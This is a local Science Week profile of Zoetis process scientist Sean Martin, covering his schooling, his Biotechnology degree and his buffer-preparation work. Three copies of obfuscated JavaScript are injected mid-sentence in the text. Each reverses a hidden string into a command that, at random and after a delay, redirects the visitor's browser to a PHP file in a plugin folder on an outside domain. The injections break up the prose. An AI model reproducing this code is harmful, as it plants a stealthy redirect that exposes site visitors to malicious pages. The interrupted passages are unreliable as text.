Science Profiles - Sean Martin Zoetis

Science Week Science Profiles – Sean Martin, Zoetis

As part of Science Week 2022 we are profiling local STEM role models to showcase the different careers and job opportunities currently available to young people interested in science. Next up is Sean Martin from Zoetis, we caught up with Sean and asked him some questions about his ncareer in science:


Tell us a little about your earliest experiences of science?

My earliest experience with science that I found interesting was in first year science class in secondary school where we were learning about $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dominant and recessive genes, and possible genotypes of offspring using punnet squares.

What did you study at college, and can you tell us a little about it?

I studied Biotechnology in Maynooth University, it allowed me to become familiar with all aspects of modern molecular biology such as antibody purification and recombinant DNA technology.

What is your current role and what $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do you enjoy most about it?

My current role is working as a process scientist in the $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}downstream processing sector for Zoetis Tullamore. The main basis of my work is carrying out the formation of buffers that are used throughout several steps of the production procedure.

What is your favourite science fact?

You’d need to eat ten million bananas in one sitting to die of banana-induced radiation poisoning.

What advice would you give to a young person considering a career in science?

It’s a fascinating area of work that has many different options and opportunities depending on what area of science your interests lie.
